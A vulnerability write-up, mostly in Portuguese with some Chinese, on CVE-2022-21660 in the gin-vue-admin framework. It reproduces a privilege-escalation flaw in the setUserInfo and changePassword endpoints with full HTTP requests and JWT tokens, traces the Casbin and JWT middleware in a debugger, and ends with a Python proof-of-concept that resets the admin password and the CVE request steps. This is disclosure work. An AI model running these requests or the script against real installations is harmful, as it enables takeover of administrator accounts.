
CVE-2022-21660
Bem-vindos, mestres, a dar uma estrela neste projeto.```http https://github.com/flipped-aurora/gin-vue-admin/

Depois de terminar o artigo, solicitar o CVE foi um pouco complicado, mas felizmente conseguimos, e os funcionários do GitHub responderam rapidamente.
> ps: Antes de solicitar o CVE, já havia submetido o CNVD

### 二、Configuração do ambiente
Siga o tutorial oficial```bash
git clone https://github.com/flipped-aurora/gin-vue-admin.git
Em seguida, entre no diretório server.```bash go generate
```bash
go build -o server main.go
Em seguida, execute diretamente o servidor
Em seguida, para a WEB, entre no diretório web e digite```bash cnpm install || npm install
Depois, basta aguardar

Após a conclusão da instalação, a página web será aberta automaticamente


Em seguida, inicialize e configure as informações do banco de dados

Após configurar, clique em inicializar e faça o login

### 3. Reprodução da Vulnerabilidade
### SetUserInfo possui escalonamento vertical de privilégios
##### 1. A interface SetUserInfo permite configurar informações pessoais do usuário com privilégios elevados
Vamos diretamente para a página de gerenciamento de usuários e adicionar uma função de usuário com baixos privilégios

Pode-se observar que acima não foram concedidas permissões de administrador. Em seguida, crie uma nova conta e atribua-a a este grupo de funções


A vulnerabilidade ocorre na linha 273 do arquivo https://github.com/flipped-aurora/gin-vue-admin/blob/master/server/api/v1/system/sys_user.go
```go
// @Tags SysUser
// @Summary 设置用户信息
// @Security ApiKeyAuth
// @accept application/json
// @Produce application/json
// @Param data body system.SysUser true "ID, 用户名, 昵称, 头像链接"
// @Success 200 {string} string "{"success":true,"data":{},"msg":"设置成功"}"
// @Router /user/setUserInfo [put]
func (b *BaseApi) SetUserInfo(c *gin.Context) {
var user system.SysUser
_ = c.ShouldBindJSON(&user)
if err := utils.Verify(user, utils.IdVerify); err != nil {
response.FailWithMessage(err.Error(), c)
return
}
if err, ReqUser := userService.SetUserInfo(user); err != nil {
global.GVA_LOG.Error("设置失败!", zap.Error(err))
response.FailWithMessage("设置失败", c)
} else {
response.OkWithDetailed(gin.H{"userInfo": ReqUser}, "设置成功", c)
}
}
Aqui, o ID passado não é verificado. Como o ID representa o usuário, basta passar o ID especificado para modificar as informações pessoais do usuário correspondente.

Primeiro, usamos o X-token do administrador para testar a alteração do nome do usuário com ID 1 para 'test1'. Em seguida, podemos ver no backend que o ID do administrador foi alterado para 'test1'.

A seguir, usamos o token da conta recém-criada UzJu_HxSecTeam para substituir e alterar o nome de usuário do administrador para 'test2'.
Primeiro, na conta UzJu_HxSecTeam, vamos em Informações Pessoais > Alterar Senha, alteramos a senha aleatoriamente e obtemos o token da conta.

Este token é de uma função de baixa permissão. Normalmente, usuários com baixas permissões não podem modificar nenhuma informação do administrador.```http x-token: eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJVVUlEIjoiYTM1NTRiYmYtYzQwNS00ZWEwLTkzZjQtMzQ1YTRiNzIxMWYxIiwiSUQiOjMsIlVzZXJuYW1lIjoiVXpKdV9IeFNlY1RlYW0iLCJOaWNrTmFtZSI6IlV6SnVfSHhTZWNUZWFtIiwiQXV0aG9yaXR5SWQiOiIxMjM0IiwiQnVmZmVyVGltZSI6ODY0MDAsImV4cCI6MTY0MTQ1MDk5OCwiaXNzIjoicW1QbHVzIiwibmJmIjoxNjQwODQ1MTk4fQ.0vm9DA7RHOi-ZBN6p-C4RIjJS7Qs9kbXKLNpmc6nyDs
Substituímos o Token, construindo os seguintes dados JSON.```json
{
"id":1,
"username":"test2",
"nickName":"test2",
"headerImg":""
}

Substituímos o Token na interface setUserinfo```http PUT /api/user/setUserInfo HTTP/1.1 Host: localhost:8080 User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:95.0) Gecko/20100101 Firefox/95.0 Accept: / Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2 Accept-Encoding: gzip, deflate Content-Type: application/json x-token: eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJVVUlEIjoiYTM1NTRiYmYtYzQwNS00ZWEwLTkzZjQtMzQ1YTRiNzIxMWYxIiwiSUQiOjMsIlVzZXJuYW1lIjoiVXpKdV9IeFNlY1RlYW0iLCJOaWNrTmFtZSI6IlV6SnVfSHhTZWNUZWFtIiwiQXV0aG9yaXR5SWQiOiIxMjM0IiwiQnVmZmVyVGltZSI6ODY0MDAsImV4cCI6MTY0MTQ1MDk5OCwiaXNzIjoicW1QbHVzIiwibmJmIjoxNjQwODQ1MTk4fQ.0vm9DA7RHOi-ZBN6p-C4RIjJS7Qs9kbXKLNpmc6nyDs x-user-id: 1 Content-Length: 67 Origin: http://localhost:8080 Connection: close Referer: http://localhost:8080/ Sec-Fetch-Dest: empty Sec-Fetch-Mode: cors Sec-Fetch-Site: same-origin
{"id":1, "username":"test2", "nickName":"test2", "headerImg":""}
Em seguida, somos informados de que a configuração foi bem-sucedida

Em seguida, alternamos para a conta de administrador para verificar se foi alterada para test2

Podemos ver que o usuário administrador foi alterado com sucesso
##### 2、SetUserInfo接口 - Modificação incondicional da senha do administrador por escalada vertical de privilégios
Durante a depuração, descobriu-se que no endpoint setUserInfo, usado para definir informações pessoais com escalada de privilégios, não é possível apenas definir id, username, nickname, headimg, mas também é possível passar parâmetros como password, etc.

Por exemplo, podemos construir uma requisição para definir o nome de usuário do usuário com ID 1 como admin e o apelido como superusuário administrador
```http
PUT /api/user/setUserInfo HTTP/1.1
Host: localhost:8080
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:95.0) Gecko/20100101 Firefox/95.0
Accept: */*
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Content-Type: application/json
x-token: eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJVVUlEIjoiZjkwNjRhMWItNzU2Yi00NTNjLTlkNDAtOWZlZmY5OWI2ZTUxIiwiSUQiOjMsIlVzZXJuYW1lIjoiVXpKdV9IeFNlY1RlYW0iLCJOaWNrTmFtZSI6IlV6SnVfSHhTZWNUZWFtIiwiQXV0aG9yaXR5SWQiOiIxMjM0IiwiQnVmZmVyVGltZSI6ODY0MDAsImV4cCI6MTY0MTQ1Nzc1NywiaXNzIjoicW1QbHVzIiwibmJmIjoxNjQwODUxOTU3fQ.rHCKW7c2kIsaCRKsgI1Nizu18dGKfsOH_m_dW59cY9U
x-user-id: 1
Content-Length: 91
Origin: http://localhost:8080
Connection: close
Referer: http://localhost:8080/
Sec-Fetch-Dest: empty
Sec-Fetch-Mode: cors
Sec-Fetch-Site: same-origin
{"id":1,
"username":"admin",
"nickName":"超级用户管理员",
"Password":"qwe@123"
}
此时管理员的密码已经被修改为了qwe@123,尝试登陆

随后成功登录

PS: 这里有一个前提,需知道我想修改的那个人用户的密码才可以
首先我们知道默认的admin密码为123456,这个时候我们只需要构造Json数据,将Json数据中的username参数,修改为我们想越权修改的那个用户名即可
首先我们登录低权限的账号,修改一次密码

我们会抓到一个changePassword的请求,随后将这个请求放入Repeater

随后我们只需要将username这个参数修改为admin即可

随后会提示我们修改成功,然后我们使用新的密码来登录admin

随后成功登录

漏洞出现的位置在https://github.com/flipped-aurora/gin-vue-admin/blob/master/server/api/v1/system/sys_user.go,139行```go // @Tags SysUser // @Summary 用户修改密码 // @Security ApiKeyAuth // @Produce application/json // @Param data body systemReq.ChangePasswordStruct true "用户名, 原密码, 新密码" // @Success 200 {string} string "{"success":true,"data":{},"msg":"修改成功"}" // @Router /user/changePassword [post] func (b *BaseApi) ChangePassword(c *gin.Context) { var user systemReq.ChangePasswordStruct _ = c.ShouldBindJSON(&user) if err := utils.Verify(user, utils.ChangePasswordVerify); err != nil { response.FailWithMessage(err.Error(), c) return } u := &system.SysUser{Username: user.Username, Password: user.Password} if err, _ := userService.ChangePassword(u, user.NewPassword); err != nil { global.GVA_LOG.Error("修改失败!", zap.Error(err)) response.FailWithMessage("修改失败,原密码与当前账户不符", c) } else { response.OkWithMessage("修改成功", c) } }
> Aqui há uma controvérsia: já que sabemos a senha de outra pessoa, por que não fazer login diretamente na conta dela? Sim, é verdade, mas o fluxo lógico do programa aqui é que já autenticamos. Normalmente, o usuário atual só pode modificar sua própria senha, mas aqui é possível modificar senhas de outros alterando o ID. Por outro lado, também poderia ser considerado uma forma de força bruta, já que a página de login possui verificação de captcha.
### 4. Análise do Princípio da Vulnerabilidade
> ps: Todo o conteúdo abaixo vem do entendimento de um script kiddie que nunca estudou Go, nunca trabalhou com desenvolvimento e só sabe Python.
Primeiro, do ponto de vista da lógica normal de negócios, por que ocorre essa escalada de privilégios? O princípio é relativamente simples: principalmente porque, ao criar permissões de função, existem alguns parâmetros obrigatórios. São esses parâmetros que, uma vez selecionados, dão ao usuário a oportunidade de escalar privilégios (mas não é possível desmarcá-los, pois são parâmetros obrigatórios padrão). No final, o problema está na lógica do código.

Primeiro, vamos ver, após criar a função, as permissões da função.

Podemos ver que, por padrão, as permissões do usuário recém-criado, no menu de funções, têm apenas permissão para acessar o painel, mas ao visualizar as permissões da API da função, descobrimos:

Aqui estão algumas permissões obrigatórias:
+ Registro de usuário
+ Definir informações do usuário
+ Obter próprias informações
+ Modificar senha
+ Modificar função do usuário
Esta é também a origem da vulnerabilidade. Primeiro, a opção 'Definir informações do usuário'. Se desmarcarmos:

Em seguida, colocamos o token da conta do grupo de função de baixo privilégio no Burp para testar.
```http
PUT /api/user/setUserInfo HTTP/1.1
Host: localhost:8080
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:95.0) Gecko/20100101 Firefox/95.0
Accept: */*
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Content-Type: application/json
x-token: eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJVVUlEIjoiZjkwNjRhMWItNzU2Yi00NTNjLTlkNDAtOWZlZmY5OWI2ZTUxIiwiSUQiOjMsIlVzZXJuYW1lIjoiVXpKdV9IeFNlY1RlYW0iLCJOaWNrTmFtZSI6IlV6SnVfSHhTZWNUZWFtIiwiQXV0aG9yaXR5SWQiOiIxMjM0IiwiQnVmZmVyVGltZSI6ODY0MDAsImV4cCI6MTY0MTQ1Nzc1NywiaXNzIjoicW1QbHVzIiwibmJmIjoxNjQwODUxOTU3fQ.rHCKW7c2kIsaCRKsgI1Nizu18dGKfsOH_m_dW59cY9U
x-user-id: 1
Content-Length: 83
Origin: http://localhost:8080
Connection: close
Referer: http://localhost:8080/
Sec-Fetch-Dest: empty
Sec-Fetch-Mode: cors
Sec-Fetch-Site: same-origin
{"id":1,
"username":"admin",
"nickName":"超级用户管理员",
"headerImg":""}
Pode-se ver claramente que atualmente não temos permissão para definir estas informações de usuário, e na página de Debug do Go também é muito fácil perceber a lógica do código. Por exemplo, agora não temos permissão para definir as informações do usuário, mas em teoria, no código, quando acessei esta interface, o ponto de interrupção do meu Debug deveria ser capaz de interceptar, mas como mostra a figura abaixo, depois de definir o ponto de interrupção, o programa simplesmente não parou.

A partir disso, podemos concluir que antes desta operação deve haver uma operação de autenticação (comum deve ser RBAC, certo?). Agora vamos definir a permissão de usuário para o grupo de funções de baixa permissão e repetir para ver.


Podemos ver que o programa parou com sucesso aqui, então acho que (sou iniciante em Go) deve ser possível encontrar a autenticação aqui através do Debug :)
Primeiro, no Mac, use a tecla Command + clique esquerdo do mouse para encontrar onde esta função é chamada.

Então podemos ver que há uma função de inicialização de rota de usuário InitUserRouter.

Então continuamos com o mesmo método, Command + clique esquerdo para determinar onde InitUserRoute é chamado.

Aqui note que existe um JWTAuth() e um middleware.CasbinHandler().
Primeiro vamos dar uma olhada no middleware.JWTAuth(), ainda o mesmo método Command + clique esquerdo.

Então chegamos a um jwt.go, podemos dar uma olhada na lógica aqui (claro, agradecemos ao autor por escrever alguns comentários).

Em Go, token:= deve ser equivalente a definir uma variável para receber o x-token do header da requisição. Primeiro, verifica se o token está vazio; se estiver vazio, retorna diretamente que o usuário não está logado ou acesso não autorizado.

Depois, verifica se o token do usuário está na lista negra. Aqui deve ser através de cache ou quando o usuário sai, para determinar se o token já expirou. Se expirou, retorna informando que o usuário fez login em outro local ou o token expirou.

Aqui primeiro é passado para a função ParseToken para analisar o Token, podemos ir lá dar uma olhada.

Não sei o que é jwt.ParseWithClaims... método tradicional, google.com.

Aqui é usado para criptografia/descriptografia JWT, depois retorna um SigningKey e continua.
Agradeço à orientação do autor: Aqui, a string jwt token recebida é analisada para obter a estrutura jwt.Token, e então os Claims são extraídos da estrutura para obter as informações do usuário que foram anexadas quando geramos o token anteriormente.

Através do Google, soube que ValidationErrorMalformed é usado para determinar se o token é inválido, e ValidationErrorExpired para verificar se expirou, e ValidationErrorNotValidYet para verificar se o token está ativo, e então retorna. Embora ainda haja um trecho de código abaixo.

Em seguida, verifica se o token expirou. Se não expirou, vai para reload, então chegamos ao middleware.CasbinHandler().

Primeiro entra em utils.GetClaims e passa um parâmetro.

Esta função aqui é usada para obter o x-token e então analisar o token para verificar se expirou, etc.

Em seguida, determina a função do usuário. Aqui 1234 é o ID do grupo de funções que definimos na web.


Depois entra em casbinService.Casbin(), método tradicional, Baidu direto.

É mais ou menos como pensávamos antes, controle de permissão RBAC. Aqui é conectar ao banco de dados, e então dei F7 para entrar passo a passo, mas desisti, não entendi.

Pelo comentário podemos determinar que aqui é usado para verificar permissão.
Tradução automática: Enforce decide se um "subject" pode acessar um "object" com a operação "action", os parâmetros de entrada são geralmente: (sub, obj, act).
Decide se um "sujeito" pode acessar um "objeto" com a operação "ação", os parâmetros de entrada são geralmente: (sub, obj, act).

Então verifica se está em ambiente de desenvolvimento, e success é igual a false. Aqui || significa 'ou': ou é bem-sucedido, ou indica permissão insuficiente.
Vamos ver como funciona a interface setuserinfo com privilégios elevados. Primeiro, colocamos um ponto de interrupção no interceptor.

Dica: Através do Baidu descobri que aqui é usado o framework de controle de acesso casbin do Golang. https://blog.csdn.net/qq_42015552/article/details/104013264
Depois, também colocamos um ponto de interrupção em setuserinfo.

Como o interceptor está antes de setuserinfo na lógica do programa, começamos depurando pelo interceptor.
Depois que o Burp enviou a requisição, ficamos esperando. Agora vamos depurar passo a passo.

Agora nosso grupo de funções é 1234.

Depois é conectar ao banco de dados, e em seguida verificar a permissão.


Aqui retornou true, indicando que a permissão existe. Depois verifica se é ambiente de desenvolvimento ou se success é igual a true. Aqui certamente passará pelo primeiro if.
Em seguida, chegamos à interface setuserinfo.

shouldBindJson vinculou os parâmetros JSON.

Depois aqui, deve ser usado para verificar se os parâmetros JSON recebidos estão corretos.

Abaixo, diretamente substituiu o userid.

Aqui o ID é passado pelo frontend e pode ser modificado arbitrariamente, resultando em escalada de privilégios.


Depois de substituir no banco de dados, atualiza e retorna.

Depois, a atualização é bem-sucedida.
As principais operações de autenticação estão na função CasbinHandler no arquivo cashbin.rbac.go, com casbinService.Casbin() e e.Enforce(sub, obj, act).
Meu entendimento da escalada de privilégios aqui é: se for dada permissão para definir informações do usuário, então, por padrão, esse usuário pode modificar as informações do usuário dentro das regras de permissão. E ao modificar, basta substituir pelo ID de outra pessoa para modificar as informações dela.
Aqui podemos entender: primeiro, a autenticação verifica o AuthorityId para determinar se o usuário tem permissão para operar uma determinada interface.

Mas na setuserinfo, o ID usado é o ID da conta do usuário.

Isso levou à escalada de privilégios, porque esse ID pode ser controlado quando passado pelo frontend, e já passou pela autenticação. Depois de conversar com o autor, ele explicou que a correção é simples: basta forçar a atribuição de user.id ao ID de autoridade correspondente ao JWT, assim não haverá escalada de privilégios, porque não importa como o frontend o passe, no final há uma linha no código que modificará o valor de user.id para o ID correspondente ao JWT atual.
Mas na lógica do processo de negócios, essas permissões são necessárias, porque se não forem dadas, o usuário atual não pode modificar suas próprias informações.

#!/usr/bin/env python
''' @Project :UzJuSecurityTools @File :Gin-Vue-Admin-Poc.py @Author :UzJu @Date :2021/12/31 11:20 @Email :[email protected] '''
import requests import json import sys
class GinVueAdminPoc: def init(self, url, token): self.url = url self.jwt_token = token ''' define vuln interface ''' # Method PUT Severity High self.setUserInfo = "/api/user/setUserInfo" # Method POST Severity Moderate self.changePassword = "/api/user/changePassword"
def checkVuln(self):
'''
因为默认管理员的用户ID为1,所以,这里直接修改ID为1的用户账号为admin,密码为qwe@123
在实际使用中,可以通过遍历ID,来判断哪个ID用户存在,不过默认用户在实战中应该都是存在的
The default user ID of the administrator is 1. Therefore, change the account of user 1 to admin and the password to qwe@123
In practice, you can check which ID exists by iterating through the ID, but the default user should exist in practice
'''
payload_data = {
"id": 1,
"username": "admin",
"nickName": "超级管理员",
"Password": "qwe@123"
}
# Change the administrator password to qwe@123, because the default administrator ID is 1
headers = {
"x-token": self.jwt_token
}
result = requests.put(url=self.url + self.setUserInfo,
headers=headers,
data=json.dumps(payload_data)
)
if json.loads(result.content)['code'] == 7:
print("[-]Modify the failure")
elif json.loads(result.content)['code'] == 0:
print(f"[+]Modify the success, Account: {payload_data['username']}, password: {payload_data['Password']}")
def check_interface_ChangePassword(self):
'''
wait
'''
pass
if name == 'main': try: Banner_2 = '''
/$$ /$$ /$$$$$
| $$ | $$ |__ $$
| $$ | $$ /$$$$$$$$ | $$ /$$ /$$
| $$ | $$|____ /$$/ | $$| $$ | $$
| $$ | $$ /$$$$/ /$$ | $$| $$ | $$
| $$ | $$ /$$__/ | $$ | $$| $$ | $$
| $$$$$$/ /$$$$$$$$| $$$$$$/| $$$$$$/
\______/ |________/ \______/ \______/
Autor: UzJu Email: [email protected] GitHub: github.com/uzju
'''
print(Banner_2)
url = sys.argv[1]
jwt_token = sys.argv[2]
main = GinVueAdminPoc(url, jwt_token)
main.checkVuln()
except:
print("[-]please input url and token")
A razão pela qual o método check_interface_ChangePassword não foi escrito é porque aqui é um endpoint de força bruta, pois antes de modificar a senha de qualquer usuário, é necessário conhecer a senha da conta a ser modificada, o que se assemelha a força bruta, então não foi escrito aqui. Depois, o método checkvuln, o id nos dados JSON de payload_data pode ser alterado arbitrariamente, e também pode ser escrito em um loop for para iterar, porque no ambiente real não se sabe se o ID do administrador é 1, ou se houver destruição maliciosa, também pode causar certo impacto.

### 6. Solicitação de CVE
> O CNVD não precisa ser mencionado, com certeza já foi submetido, aqui estamos solicitando o CVE.
>
> A solicitação de número via GitHub chega muito rápido, basicamente no máximo 3 dias. Aqui, foi submetido no mesmo dia e na madrugada do dia seguinte já recebemos o número de pré-atribuição do CVE.
>
> As operações a seguir exigem que você entre em contato com o autor para ajudá-lo, caso contrário, não terá o botão New Draft security advisory.



Escreva a descrição do conteúdo da vulnerabilidade, o processo de reprodução, o POC, e clique em create draft security advisory.
**Como foi a primeira vez que solicitamos isso, cometemos um erro: apenas listamos um rascunho e não enviamos a solicitação, o que nos fez esperar 7 dias em vão**

Depois de escrever, certifique-se de rolar para baixo e clicar em request cve id.


> Artigo de referência: https://mp.weixin.qq.com/s/eGjDy20unW-fTiuSOOPgRg
### 7. Agradecimentos
+ Página inicial da equipe do autor: https://github.com/flipped-aurora/
+ GitHub do autor: https://github.com/piexlmax
+ Endereço do projeto Gin-vue-admin: https://github.com/flipped-aurora/gin-vue-admin